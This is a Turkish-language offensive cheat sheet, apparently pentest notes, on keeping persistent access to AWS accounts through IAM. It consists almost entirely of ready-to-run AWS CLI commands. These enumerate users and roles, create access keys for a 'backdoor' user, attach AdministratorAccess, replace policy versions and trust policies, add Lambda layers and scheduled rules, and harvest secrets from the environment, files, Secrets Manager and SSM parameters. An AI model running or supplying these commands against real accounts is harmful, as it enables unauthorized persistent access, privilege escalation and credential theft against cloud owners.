Skip to content

AWS - IAM Persistence

AWS kalıcılık

AWS - IAM Persistence — AWS ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

  2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

  3. Kalıcı kimlik veya tetikleyici yerleştir.

  4. İkinci oturumdan erişimi doğrula.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - IAM Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws sts get-caller-identity
Terminal window
aws iam get-user --user-name USER
Terminal window
aws iam list-attached-user-policies --user-name USER
Terminal window
aws iam list-user-policies --user-name USER
Terminal window
aws iam list-groups-for-user --user-name USER
Terminal window
aws iam list-roles --max-items 50
Terminal window
aws iam get-role --role-name ROLE
Terminal window
aws iam get-role-policy --role-name ROLE --policy-name INLINE
Terminal window
aws iam list-attached-role-policies --role-name ROLE
Terminal window
aws iam get-policy-version --policy-arn ARN --version-id v1
Terminal window
aws iam list-access-keys --user-name USER
Terminal window
aws iam create-access-key --user-name USER
Terminal window
aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default
Terminal window
aws iam attach-user-policy --user-name USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
aws iam create-access-key --user-name backdoor
Terminal window
aws lambda update-function-configuration --function-name FN --layers LAYER_ARN
Terminal window
aws events put-rule --name persist --schedule-expression 'rate(6 hours)'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt
Terminal window
aws iam put-user-policy --user-name USER --policy-name p --policy-document file://p.json
Terminal window
aws iam update-assume-role-policy --role-name ROLE --policy-document file://trust.json
Terminal window
aws iam create-login-profile --user-name USER --password 'P@ss' --password-reset-required
Terminal window
enumerate-iam --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY